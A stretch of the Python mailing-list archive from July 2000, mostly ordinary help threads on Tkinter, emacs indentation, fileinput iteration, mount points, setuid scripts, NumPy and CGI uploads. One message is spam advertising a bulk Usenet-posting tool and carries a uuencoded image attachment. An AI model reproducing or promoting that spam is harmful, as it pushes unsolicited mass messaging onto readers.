>     root = Tk()
>     root.title('test')
>     start = Main(root)
>     root.mainloop()
> -- End of file
>
> I throw up your class Func and swept a little your code. Hope this
helps
> ?
>
> Regards,
> Jerome
>
>

It just happens that one of the sample chapters for Python
and Tkinter Programming is on geometry managers. It might
help you understand how the Packer works...

    http://www.manning.com/Grayson/chapt05.pdf


   John Grayson


Sent via Deja.com http://www.deja.com/
Before you buy.


From darrell at dorb.com  Sat Jul  1 20:59:56 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sat, 1 Jul 2000 17:59:56 -0700
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <Esm75.3448$Tb7.23118@news-server.bigpond.net.au>
Message-ID: <033401bfe3c0$d7158140$6401a8c0@home>

From: "Mark Hammond" <MarkH at ActiveState.com>
> Just to stoke the flames a little...
> 
> Check out some of the talks at the upcoming PDC -
> http://www.pdc.mscorpevents.com/sessions.asp?tracks=6 - look for Python

Ok my flames are stoked.
What do they mean "Visual Python"???
Could this be a good thing?

--Darrell







From johannes at zellner.org  Fri Jul  7 20:54:58 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Sat, 8 Jul 2000 02:54:58 +0200 (CEST)
Subject: weird prompting
Message-ID: <Pine.LNX.4.21.0007080248440.9807-100000@krispc6.physik.uni-karlsruhe.de>

Hello,

I just discoverd that the prompt objects are both (also sys.ps2)
only called when printing sys.ps1. Example:

class Prompt:
    def __init__(self, prompt):
        self.count = 0
    def __str__(self):
        self.count = self.count + 1
        return str(self.count)

sys.ps1 = Prompt()
sys.ps2 = Prompt()

then issue at the input prompt a few returns and then
some command (e.g. def) which needs ps2 lines:

1                # <-- both ps1 and ps2 are incremented
2                # <-- both ps1 and ps2 are incremented
3                # <-- both ps1 and ps2 are incremented
4def fred(x):    # <-- both ps1 and ps2 are incremented
4  pass          # <-- neither ps1 nor ps2 are called
4  pass          # <-- neither ps1 nor ps2 are called
4  pass          # <-- neither ps1 nor ps2 are called
5bla

python 1.5.2

does this make sense ? (I think: no)

-- 
   Johannes




From sandysj at asme.org  Tue Jul 11 10:51:06 2000
From: sandysj at asme.org (Jeff Sandys)
Date: Tue, 11 Jul 2000 14:51:06 GMT
Subject: Help! Indenting craziness!
References: <8k5pev$182l$1@nntp1.ba.best.com> <8k5r4u$182l$2@nntp1.ba.best.com>
Message-ID: <396B345A.5F8EBAF@asme.org>

Adam Clark wrote:
> 
> Let me retract the "blank, unindented lines" part before somebody flames
> me.  I realize now that this is a python-mode issue, probably due to a
> space/tab mixup.  Problem is, everything appears to be tabs.  There is
> no detectable difference either visually or by cursor navigation between
> correct code and SyntaxError-generating code.
> 
> So, that said, help!!
>

;;; Add this to your .emacs or evaluate it with Meta-:

(setq indent-tabs-mode nil)

;;; I also use a four space tab

(setq default-tab-width 4)


;;; You can fix a file with untabify

;    esc  <
;    ctrl-space
;    esc  >
;    meta-x untabify
;    [save file]


;;; The above .emacs stuff can be put into a procedure like this

(defun python-initialise ()
  (interactive)
  (setq default-tab-width 4)
  (setq indent-tabs-mode nil))

(add-hook python-mode-hook 'python-initialise)

;;; Thanks to Harry George for fixing this for me,
;;; Jeff Sandys


From paul at prescod.net  Sat Jul 22 12:35:27 2000
From: paul at prescod.net (Paul Prescod)
Date: Sat, 22 Jul 2000 11:35:27 -0500
Subject: New PEP: Attribute Access Handlers
References: <39791F0C.CDC13E79@prescod.net> <39792795.B5B0D18C@roguewave.com> <39792C74.E7E3DB2B@prescod.net> <397933DA.46B072BF@roguewave.com>
Message-ID: <3979CD4F.22BD1F5E@prescod.net>

Bjorn Pettersen wrote:
> 
> ...
>
>     def __getattr__(self, a):
>       if a == 's':
>         return self.__dict__['_s'].value()
>       else:
>         return self.__dict__[a]

This is exactly the kind of code that would be simplified.
 
> so client code could continue looking like:
> 
>   myObject = MyObject('foobar')
>   s = myObject.s

Right. Exactly!
 
> > That was actually the first proposal. But inheritance could get
> > confusing if you inherited set without get or get without set etc.
> 
> Hmmm... I'm not quite sure I understand... With __set/get/del_XXX__
> defined in a superclass you would automatically inherit all of them and
> could choose to only override one of them, e.g. if you wanted to perform
> further checks on a set but the get was the same.  With __attr_XXX__ you
> would have to explicitly call the superclass' __attr_XXX__ method if you
> didn't define all of set/get/del(?)  I have a feeling I'm missing
> something...

Well there are two halves to it, interface and implementation. I'll ask
your opinion on the first and then you can tell me if you think you can
find a good implementation.

Consider this module and tell me what it would output (in your opinion):

class A:
    def __set_x__( self, val ):
        print val
a=A()
a.x=5
print a.x
del a.x

class B(A):
    def __get_x__( self, val ):
       return "funny walk"

b=B()
b.x=5
print b.x
del b.x

Now, how would you implement it?

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From billtut at microsoft.com  Tue Jul 11 09:37:51 2000
From: billtut at microsoft.com (Bill Tutt)
Date: Tue, 11 Jul 2000 06:37:51 -0700
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
Message-ID: <4D0A23B3F74DD111ACCD00805F31D8101D8BD2A8@RED-MSG-50>

I think Mark's link to the PDC info is about all that can be said atm.
I'm sure Mark would have mentioned more if he could.

No, I can't say a word, since I don't work on those teams and so therefore
couldn't possibly comment.

Bill


 -----Original Message-----
From: 	Neil Hodgson [mailto:neilh at scintilla.org] 
Sent:	Monday, July 10, 2000 9:30 PM
To:	python-list at python.org
Subject:	Re: Microsoft's  C# (Sharp) & .NET -- A Heads Up

   Now that Microsoft have revealed their Intermediate Language (IL) virtual
machine, are we going to see a version of Python that compiles directly to
IL? Or will Python byte codes still be interpreted by C code?

   Neil


-- 
http://www.python.org/mailman/listinfo/python-list



From imco at fitspdlwo.mil  Wed Jul 26 22:19:33 2000
From: imco at fitspdlwo.mil (imco at fitspdlwo.mil)
Date: 27 Jul 2000 02:19:33 GMT
Subject: Ignite a fire
Message-ID: <3xgx8d$q4y$4@news.hk.linkage.net>

remove: <3xgx8d$q4y$4 at news.hk.linkage.net>



Turn your computer into a large scale Usenet news posting machine with PostAgent!

Capture a world-wide audience in an instant!  Use it to maximize the exposure of your ideas or products on the newsgroups!  

http://members.tripodasia.com.cn/postagnt

















--


begin 666 0065.gif
M1TE&.#=A(0`8`/<``````(````"``("`````@(``@`"`@,#`P,#<P*;*\`0$
M!`@("`P,#!$1$186%AP<'"(B(BDI*55554U-34)"0CDY.?]\@/]04-8`D\SL
M_^_6QN?GUJVID#,``&8``)D``,P````S`#,S`&8S`)DS`,PS`/\S``!F`#-F
M`&9F`)EF`,QF`/]F``"9`#.9`&:9`)F9`,R9`/^9``#,`#/,`&;,`)G,`,S,
M`/_,`&;_`)G_`,S_````,S,`,V8`,YD`,\P`,_\`,P`S,S,S,V8S,YDS,\PS
M,_\S,P!F,S-F,V9F,YEF,\QF,_]F,P"9,S.9,V:9,YF9,\R9,_^9,P#,,S/,
M,V;,,YG,,\S,,__,,S/_,V;_,YG_,\S_,___,P``9C,`9F8`9ID`9LP`9O\`
M9@`S9C,S9F8S9IDS9LPS9O\S9@!F9C-F9F9F9IEF9LQF9@"99C.99F:99IF9
M9LR99O^99@#,9C/,9IG,9LS,9O_,9@#_9C/_9IG_9LS_9O\`S,P`_P"9F9DS
MF9D`F<P`F0``F3,SF68`F<PSF?\`F0!FF3-FF68SF9EFF<QFF?\SF3.9F6:9
MF9F9F<R9F?^9F0#,F3/,F6;,9IG,F<S,F?_,F0#_F3/_F6;,F9G_F<S_F?__
MF0``S#,`F68`S)D`S,P`S``SF3,SS&8SS)DSS,PSS/\SS`!FS#-FS&9FF9EF
MS,QFS/]FF0"9S#.9S&:9S)F9S,R9S/^9S`#,S#/,S&;,S)G,S,S,S/_,S`#_
MS#/_S&;_F9G_S,S_S/__S#,`S&8`_YD`_P`SS#,S_V8S_YDS_\PS__\S_P!F
M_S-F_V9FS)EF_\QF__]FS`"9_S.9_V:9_YF9_\R9__^9_P#,_S/,_V;,_YG,
M_\S,___,_S/__V;_S)G__\S___]F9F;_9O__9F9F__]F_V;__Z4`(5]?7W=W
M=X:&AI:6ELO+R[*RLM?7U]W=W>/CX^KJZO'Q\?CX^/_[\*"@I("`@/\```#_
M`/__````__\`_P#______R'Y!```````+``````A`!@`0`C_``$('$BPH,&#
M"!,J7`B`@@0*O-XQG#@PWCV!0]C5 at P"A'CL`#21H_%A/$@!)]0!HY.BQ(X!Y
M%S6J3`G`8TUV'=<!>"?1(H5[\R@*!6F(FK:C";X);$!AR,R&$)92H-"`(`0*
M!2E$'?B.5P,((FEZI%!/0D>2'V7*O-D@*("K"K5B',)3ZM:"\22J+2O!9DN;
M$7=Z;?!QJ.&E90X;I+8M:;9LU:A1,[A6<4$)\WC%8Z<Q7KUZ6.]UG8>UGN=Z
M>DU_QHIVX%J/;3?[39OR-3NR`.C6F]?&]LYZO&8_]2V!HDVN$A>V`>[YZ<WG
M*-_-DXCYW7&"-O<*G$T6:UW3/),3,L2<.24$SRA;=\Z;VSIJ at Q)X2KIKN?["
=!H9::<MF7R"/Q]DD]<UC_7TQS6.124:-,P$!``[
`
end


From alex at magenta.com  Wed Jul 26 03:02:14 2000
From: alex at magenta.com (Alex Martelli)
Date: Wed, 26 Jul 2000 09:02:14 +0200
Subject: conatraints on "for" magic?
References: <8llqso$q75$1@news.dtc.hp.com>
Message-ID: <8lm2k202c2i@news1.newsguy.com>

"(Greg Weeks)" <weeks at golden.dtc.hp.com> wrote in message
news:8llqso$q75$1 at news.dtc.hp.com...
    [snip]
> How did the implementer of the "fileinput" module convince the "for"
> construct that fileinput.input() was a sequence?

"Use the source" is often good advice.  Opening the source file:
    D:\Python\Py152\Lib\fileinput.py
(or wherever the fileinput.py module is kept on your system, of
course), we find ourselves facing a modest 255 lines of code,
of which the first 75 are an extensive docstring.

Lines 124 to 238 are concerned with defining the FileInput
class (the function fileinput.input, defined on lines 80-85, is
clearly just instantiating a FileInput object and also storing it
in a module-private global variable called _state).

All the 'magic' needed for a FileInput object to behave like a
sequence in a for statement is actually contained in lines
154 to 160...:

    def __getitem__(self, i):
        if i != self._lineno:
            raise RuntimeError, "accessing lines out of order"
        line = self.readline()
        if not line:
            raise IndexError, "end of input reached"
        return line

Much of this is error-checking: __getitem__ is supposed to
be called (by the for statement) with an index i that starts at
0 and increases by 1 each time.  Once this is confirmed, the
actual operation is delegated to FileInput's own readline
method.  If there is no more line, an IndexError must be
raised: the for statement traps this and uses it as the
indication that the sequence is finished.

Method readline, lines 186 to 222, is substantially richer,
as it must handle all sort of boundary cases -- moving to
the next file if the current one is exhausted, handling in-place
updating, etc, etc.


> (In "Python ESSENTIAL REFERENCE" I don't find any way of creating class
> instances that are recognized by "for" as sequences.)

Page 29: "it's possible to use class definitions to define new objects
that behave like the built-in types. To do this, supply implementations
of the special methods described in this section."  On page 30-31,
among the "Sequence and Mapping Methods", __getitem__ is also
described; I believe you are correct in noticing that nowhere is it
clarified that this is the specific method used by the for statement,
and that IndexError is the way __getitem__ tells the for statement
that the sequence is finished (this is in fact handier than, say, having
for use __len__, because the sequence-object need not determine
beforehand how many items it contains; but, it's not immediately
and intuitively obvious!-).

The issue may be clearer if we only reproduce the bare-bone function
of the rich FileInput module: wrap one file-like object (which supplies
a readline method) into something that can be iterated on a la:

    for line in LineSequence(fileobject):
        process(line)

To get this, and this only, without special error checking, we'll do:

class LineSequence:
    def __init__(self, fileobject):
        self._file = fileobject
    def __getitem__(self, i):
        line = self.fileobject.readline()
        if not line:
            raise IndexError
        return line

Now these bones are bare indeed, but maybe having the essential
part of the "sequence-simulation" exposed like this can make it
easier to understand.


Alex





From thomas at cintra.no  Mon Jul 24 04:44:09 2000
From: thomas at cintra.no (Thomas Weholt)
Date: Mon, 24 Jul 2000 08:44:09 GMT
Subject: Setting referrer using urllib
Message-ID: <397bff4b.18231775@news.online.no>

Hi,

I`m trying to access various search interfaces on online sites using
urllib, contrstructing a url, opening the location and reading the
output, but many of them, well, most of them, return some permission
denied response. Somebody told me this was due to the fact that urllib
didn't have referrer set correctly, so the site wouldn't allow it.

( If this should be allowed is another matter, not what I want to
discuss here. ;-> )

In urllib.py I didn't see anything about referrer. If anybody has done
similar things before, feel free to give hints and clues.

And if making eh ... alternative search-methods for online-resources
is bad in some way, I understand that most of them rely on advertising
etc., let me know about that also. Trying not to step on too many toes
here.

Thomas


From jclonts at mastnet.net  Wed Jul 12 02:28:35 2000
From: jclonts at mastnet.net (John Clonts)
Date: Wed, 12 Jul 2000 01:28:35 -0500
Subject: finding mount points
References: <slrn8mnrur.sas.ssthapa@ntcs-ip48.uchicago.edu> <396C0076.4A6547A3@mastnet.net> <slrn8mo1el.t0s.ssthapa@ntcs-ip48.uchicago.edu>
Message-ID: <396C1013.7A47F82@mastnet.net>

Suchandra Thapa wrote:
> 
> John Clonts <jclonts at mastnet.net> wrote:
> >Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
> >>>> import posixpath
> >>>> posixpath.ismount("/")
> >1
> >>>> posixpath.ismount("/mnt")
> >0
> >>>> posixpath.ismount("/mnt/dosd")
> >1
> >>>> posixpath.ismount("/home")
> >1
> >>>> posixpath.ismount("/home/john")
> >0
> 
>     Actually, I wanted something like
> >>>mountpoint('/home/john')
> >/home
> >>>mountpoint('/home')
> >/home
> 
> I suppose I could do a recursive solution where I start with the full path
> and take away directories and check to see if its a mount point using
> ismount but I was hoping there was a module or way to find the mount point
> directly.
> 

Oh, sorry, I misread your question.

I didn't find anything already extant, so here's this:

def mountpoint(s):
    import os
    if (os.path.ismount(s) or len(s)==0): return s
    else: return mountpoint(os.path.split(s)[0])

def testit():
    print mountpoint("/home/john/scheme/cmucl")
    print mountpoint("/usr/local")
    print mountpoint("/lib/")
    print mountpoint("lib")


Cheers,
John


From scarblac-spamtrap at pino.selwerd.nl  Wed Jul 19 12:54:57 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 19 Jul 2000 16:54:57 GMT
Subject: are there any tutorials that someone completly new to programming can understand?
References: <8l4klm$2kl$1@slb6.atl.mindspring.net>
Message-ID: <slrn8nbn8r.fco.scarblac-spamtrap@flits104-37.flits.rug.nl>

Dan^ wrote in comp.lang.python:
> well..im 17 and thought that i should start with a programming language, and
> after checking with some of my friends, they pointed me to python
> 
> but, all the tutorials seem to be for those that have spent years in
> programming (mabey im just looking in the wrong places) but id really like
> to try my hand at this

At http://www.python.org/doc/Intros.html there are three of them listed,
under "introductions for non-programmers".

There is also a mailing list for this purpose, where you can ask questions.
See http://www.python.org/psa/MailingLists.html#tutor .

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
Hi! I'm a .sig virus! Join the fun and copy me into yours!


From stephen_purcell at yahoo.com  Wed Jul 26 18:21:19 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Thu, 27 Jul 2000 08:21:19 +1000
Subject: Python 3000
In-Reply-To: <8lneqf$f3m$1@serv1.albacom.net>; from fichou@katamail.com on Wed, Jul 26, 2000 at 09:39:33PM +0200
References: <8lneqf$f3m$1@serv1.albacom.net>
Message-ID: <20000727082119.B9696@inkontact.com.au>

Patrick Fichou wrote:
> Wot is (or will be) Python 3000 ?

You already asked this on the 24th and received a slew of replies.

Python 3000 is the codename for a project that ambitiously plans to
optimise redundant questions out of the mailing list.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From neilh at scintilla.org  Tue Jul 18 22:36:03 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 19 Jul 2000 02:36:03 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <8kvdon$tit$1@slb3.atl.mindspring.net> <8kvkb401g1e@news1.newsguy.com>
Message-ID: <nu8d5.5601$4p3.41873@news-server.bigpond.net.au>

> As I "read between the lines", mostly in the paper (on the MSDN
> online technical articles library) about Eiffel#,
> ...

   For some more lines to read between, there is a fairly disorganised
report of a presentation on Smalltalk 2000 .net at
http://www.smalltalkconsulting.com/html/CampSmalltalk2.html
   Start about 1/3rd down the page.

   """Next we got an example of the bytecode, the first issue David had was
that classes aren't first class objects, but you can build a first class
object using the class information. The UVM also doesn't support dynamic
messaging in the raw VM, so David needed to build a dynamic dispatcher,
Microsoft is aware of these problems and this could change."""

   Neil





From rloisel at helicon.net  Sun Jul 23 11:21:55 2000
From: rloisel at helicon.net (Rodney Loisel)
Date: Sun, 23 Jul 2000 11:21:55 -0400
Subject: IDLE window disappears - more info
References: <397A3EEA.792BDDEB@helicon.net> <1use5.617$Gh.13635@news20.bellglobal.com> <397AFD92.7F17FFD1@helicon.net>
Message-ID: <397B0D93.6A5EE7CB@helicon.net>

Changed the DOS properties not to close on exit
the following is the result of
import Tkinter
several levels of error
last:
DLL load failed: one of the library files
needed to run this application cannot be
found.
rloisel



From ssthapa at midway.uchicago.edu  Sat Jul  1 17:17:47 2000
From: ssthapa at midway.uchicago.edu (Suchandra Thapa)
Date: Sat, 01 Jul 2000 21:17:47 GMT
Subject: writing in gif format
References: <8jgamf$rli$1@nnrp1.deja.com>
Message-ID: <slrn8lpr8j.47q.ssthapa@ntcs-ip48.uchicago.edu>

Keith Murphy <kpmurphy at my-deja.com> wrote:
>does anyone know how to write in gif format.  I am using the PhotoImage
>class, not the Python Imaging Library.  Python tells me "TclError: image
>file format "gif" has no file writing capability"

    I believe that there are some patent issues involved in this.  
Unisys holds the patents for using LZW compression in gif files so
you would need to pay Unisys royalties for makng apps that write gif
files.  


-- 
------------------------------------------------------------------

Suchandra S. Thapa 
s-thapa at uchicago.edu

------------------------------------------------------------------


From neilh at scintilla.org  Thu Jul 27 01:06:44 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Thu, 27 Jul 2000 05:06:44 GMT
Subject: PythonWin/Scintilla aggressive folding...
References: <guif5.43644$1h3.552517@news20.bellglobal.com> <2trf5.12076$4p3.93728@news-server.bigpond.net.au> <1csf5.40036$Gh.442627@news20.bellglobal.com> <7mwf5.12307$4p3.95451@news-server.bigpond.net.au> <eUCf5.43226$Gh.514446@news20.bellglobal.com>
Message-ID: <ErPf5.13141$4p3.102368@news-server.bigpond.net.au>

> You mean to detect the indentation of the commented-out code?

   No, just leaving comments as level neutral but trying to make them belong
to the next block rather than the previous block. So your class heading
comments would not be part of the previous folding section. Or be folded
with the next section either.

> That might be
> hard, given you might have a comment like any of the following:  "sharp",
> "sharp space", "sharp sharp", "sharp sharp space".  I didn't realize this
> would be such an involved feature....

    Some of the complexity is coming from my desire for this to perform
well. This feature is also developing a new view of modularisation that
doesn't quite line up with the Python compiler as the compiler sees code
with the comments already weeded out.

> class ztApp ( wxApp ):
>    def OnInit ( self, etc.. ):
>       print "init..."
>       (...)
>       return true
>       ''
> ''
>
> ...I-can-live-with-that-ly y'rs

   I hope we can do better.

   Neil





From scarblac-spamtrap at pino.selwerd.nl  Thu Jul 13 02:54:57 2000
From: scarblac-spamtrap at pino.selwerd.nl (Remco Gerlich)
Date: 13 Jul 2000 06:54:57 GMT
Subject: Switching to Linux...... converting files and databases....
References: <20000712201149.7701.qmail@web5302.mail.yahoo.com>
Message-ID: <slrn8mqpst.6uc.scarblac-spamtrap@flits104-37.flits.rug.nl>

Dave Williams wrote in comp.lang.python:
> Proposed project: The Windows to Linux Survival Kit
> Subject: Software that can open and read Microsoft's proprietary
> (wrong word?) files and convert them to databases and files usable by
> Linux's opensource software..

Both Sun's Star Office and Corel's WordPerfect Office 2000 are free to
download for Linux, and they read those Word, Excel etc files without
problems, as far as I know. Office-type software is not a problem with Linux.

-- 
Remco Gerlich,  scarblac at pino.selwerd.nl
Hi! I'm a .sig virus! Join the fun and copy me into yours!


From thamza.dontbesendingmenospam at geocities.com  Sat Jul  8 03:37:01 2000
From: thamza.dontbesendingmenospam at geocities.com (Tim Hamza)
Date: Sat, 08 Jul 2000 07:37:01 GMT
Subject: NumPy and 1.6a2?
Message-ID: <xSA95.8234$7%3.621764@news.flash.net>

Hey all,

I'm new so maybe I'm missing something easy.

Python 1.6a2 (no other snakes in the system), Numpy 15.2, Win98.  Unzipped
NumPy to the Python directory and ended up with a /python/Numeric.pth file
as well as /python/Numeric and /python/include/Numeric directories.

Here's what I'm getting:

    C:\>python
    Python 1.6a2 (#0, Apr  6 2000, 11:45:12) [MSC 32 bit (Intel)] on win32
    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
    >>> import Numeric
    Fatal Python error: PyThreadState_Get: no current thread

    abnormal program termination

    C:\>

Also blows up in idle.  Am I doing something wrong?  Does this version of
NumPy not work with this version of Python?

Thanks,
                Tim






From ftian at cs.wisc.edu  Thu Jul 13 16:05:16 2000
From: ftian at cs.wisc.edu (ftian at cs.wisc.edu)
Date: Thu, 13 Jul 2000 20:05:16 -0000
Subject: DB2 Connection
Message-ID: <8kl7ds+d9ni@eGroups.com>

Hi,

Anyone succeeded in connect Linux DB2 v7.1 on linux?
IBM only provide Perl module on their web site.

Thanks

Feng





From tkssato at yahoo.co.jp  Thu Jul 27 04:18:36 2000
From: tkssato at yahoo.co.jp (tkssato at yahoo.co.jp)
Date: Thu, 27 Jul 2000 17:18:36 +0900
Subject: Q: File Upload Problem
Message-ID: <397FF05C.D0A7A724@yahoo.co.jp>

I wrote a simple cgi script to upload files by Web browsers.

It works perfect on Linux with Apache1.3.

But on WindowsNT with Apache1.3, it works only for text files

Uploaded image files are truncated.

I don't understand which my Python script or Apache
causes the problem.

If you know anything about it,
Please let me know.

Thanks for reading this article.

T.Sato
CG & Web engineer
tkssato at yahoo.co.jp

-----------------------------

#!/bin/python
import cgi
form = cgi.FieldStorage()
print "Content-Type: text/html";
print

print "<html>"
if not form.has_key("filename"):
    print """
    <form action="/lib/upload2.html" method="POST"
enctype="multipart/form-data">
    <input type="file" name="filename">
    <input type="submit">
    </form>
    """
else:
    item = form["filename"]
    if item.file:
        data = item.file.read()
        print len(data);        # see if data is truncated here
    else:
        print "no file"

print "</html>"



From grey at despair.rpglink.com  Fri Jul 28 12:30:18 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Fri, 28 Jul 2000 16:30:18 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com>
Message-ID: <slrn8o3d4n.49c.grey@teleute.rpglink.com>

On Fri, 28 Jul 2000 15:47:26 GMT, Grant Edwards <ge at nowhere.none> wrote:
>Why does "what non-programmers do" matter when designing a
>programming language?

    Where do you think programmers come from?  Programming most certainly
learned.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From abrahams at mediaone.net  Mon Jul 31 05:02:38 2000
From: abrahams at mediaone.net (David Abrahams)
Date: Mon, 31 Jul 2000 09:02:38 GMT
Subject: Python, Perl Rewrites: Alliance?
References: <8m38ca$an5$1@nnrp1.deja.com>
Message-ID: <Ogbh5.2845$_s1.50867@typhoon.ne.mediaone.net>

<joneshenry at my-deja.com> wrote in message
news:8m38ca$an5$1 at nnrp1.deja.com...
> My first question would be whether CNRI also claims in effect
> the trademark for the Python language as well as the copyright
> for the current source code.  Would someone be able to write
> a Python compatible language from scratch and still call it Python
> without CNRI's permission?

As a "standards geek", I should probably point out that there's a bigger
obstacle to writing a Python-compatible language, at least if you care about
compatibility of existing extension modules: for all intents and purposes,
the documentation of the "C" API is in the source code. Yes, there are
various documents floating around which purport to document the "C" API, but
I've always found that serious work requires reading the source. I suppose
it's possible that most extensions only rely on the documented subset of the
available API, but I'm guessing that's not the case.

-Dave




From dag at orion.no  Fri Jul  7 04:44:06 2000
From: dag at orion.no (Dag Sunde)
Date: Fri, 07 Jul 2000 08:44:06 GMT
Subject: Namespace Mystery (HELP!)
References: <39655351.9EE499F2@sunesis-pharma.com> <39656345.86AADA8A@prescod.net>
Message-ID: <qLg95.20564$R7.3640142@juliett.dax.net>

Warren,

Aside from your question about the locals() and Pauls
excellent answer, is there any particular reason
you're not writing something like:

>>> def fnx():
...  b = 1
...  global a
...  a = 2
...  b = 2
...  print a, b


Dag.

"Paul Prescod" <paul at prescod.net> wrote in message
news:39656345.86AADA8A at prescod.net...
> > Why is the output "2 1" and not "2 2"?
> > What is it about the locals() function that makes it behave
> > unexpectedly?
>
> locals ()
> Return a dictionary representing the current local symbol table.
> Warning: the contents of this dictionary should not be modified;
changes
> may not affect the values of local variables used by the interpreter.
>
> http://www.python.org/doc/lib/built-in-funcs.html
>
> Python doesn't typically look up local variables based on a string
name
> at runtime. That would be too inefficient. Rather it looks them up
> positionally.
>
> --
>  Paul Prescod - Not encumbered by corporate consensus
> Pop stars come and pop stars go, but amid all this change there is one
> eternal truth: Whenever Bob Dylan writes a song about a guy, the guy
is
> guilty as sin.
> - http://www.nj.com/page1/ledger/e2efc7.html
>




From ge at nowhere.none  Fri Jul 28 10:36:14 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 28 Jul 2000 14:36:14 GMT
Subject: Perl is worse!
References: <Pine.GSO.4.10.10007281426320.7506-100000@sundial> <398178EA.7576E13A@hursley.ibm.com>
Message-ID: <yTgg5.2647$6E.682215@ptah.visi.com>

In article <398178EA.7576E13A at hursley.ibm.com>, Paul Duffin wrote:
>Moshe Zadka wrote:
>>
>> Because numbers are numbers and strings are not. Given, Python's numeric
>> model is not very good.
>
>What is wrong with Python's numeric model ?

I may be a minority, but I don't like integers being converted
to floats automatically.

-- 
Grant Edwards                   grante             Yow!  Do I have a lifestyle
                                  at               yet?
                               visi.com            


From lordkaos at my-deja.com  Mon Jul 17 18:59:49 2000
From: lordkaos at my-deja.com (lordkaos at my-deja.com)
Date: Mon, 17 Jul 2000 22:59:49 GMT
Subject: test_socket, similar problem:
Message-ID: <8l034s$hl7$1@nnrp1.deja.com>

I'm having a similar problem to the below, but on a Mac (MacOS 9.0.4) w/
Python 1.5.2 (same error w/ test_socket, and same thing when I tried
open a simple socket connection) I'm sure the problem/solution is
similar, but how in specific do I fix it on a Mac? Thanks.

> Harry George wrote:
> >
> > [I looked in dejanews, but all the socket queries are way beyond
where
> > I'm stuck.]
> >
> > I have a win95 machine which is samba'd to a linux box.? I'm trying
to
> > learn to do python on win95 (COM et al).? First step is to get it
> > running.? py152.exe went ok; then win32all-128.exe.? python,
> > pythonwin, icons in the explorer all ok.? Able to edit and run
simple
> > hello, worlds.
> >
> > Then in the interpreter I tried:
> >? import test.autotest
> > It ran ok (with lots of skipped optionals), but test_socket crashed
> > with socket.error "host not found"
>
> I had the same error. As far as I understood my? computer didn't know
> about his name.. ;-) I made the? file "c:\windows\hosts" , that
> contained one row:
>
> 128.0.0.1 localhost
>
> and after reboot all worked fine..
> >
> > Of course this could be a non-python win95 setup issue, but with
> > tcp/ip running ok (samba, ftp, ping, etc.), I'm wondering if there
is
> > a python-specific issue.? Any ideas?
> >
> > --
> > Harry George
> > hgg9140 at seanet.com
>
> Alexei Kichkine (http://infocentr.


Sent via Deja.com http://www.deja.com/
Before you buy.


From donn at u.washington.edu  Fri Jul 21 15:46:01 2000
From: donn at u.washington.edu (Donn Cave)
Date: 21 Jul 2000 19:46:01 GMT
Subject: Creating a setuid script
References: <39789242.C93B0446@glo.be>
Message-ID: <8la99p$3u18$1@nntp6.u.washington.edu>

Quoth Jurgen Defurne <defurnj at glo.be>:
| I am busy writing some scripts, which should be setuid root (several
| users should be
| able to modify the contents of a file, which is under root control).
|
| The main problem is that setuid root doesn't seem to work with a Python
| script. If i have
| two programs :
|
| rwsr-xr-x .... tu.pl (obviously Perl)
| rwsr-xr-x .... tu.py (the same in Python)
|
| then the perl script reports UID and EUID as 0 and 1000 (or reverse,
| they are DIFFERENT),
| but the Python script reports 1000 and 1000 (a further test to open a
| root owned file in
| read mode raises an exception).

The Python interpreter is normal in this respect.  For another example,
try a shell script - the shell won't be able to assume root privileges
through a setuid bit on the script file.  Python can't either.

Perl accomplishes this through a special gimmick of a setuid-root
interpreter installed along with the normal one.  This is an extremely
risky business.  I'm sure the author of Perl has done what needed to
be done to make it tolerable, but that work has not been done with
Python and probably never will be.

When I need setuid privilege, I write that part in C and assign the
setuid privilege to that executable, then invoke it from Python.

	Donn Cave, donn at u.washington.edu


From paul at prescod.net  Tue Jul 18 22:42:30 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 21:42:30 -0500
Subject: Operators for matrix: current choices (Was Matlab vs Python ...)
References: <Pine.LNX.4.10.10007181420000.9411-100000@rock.localdomain>
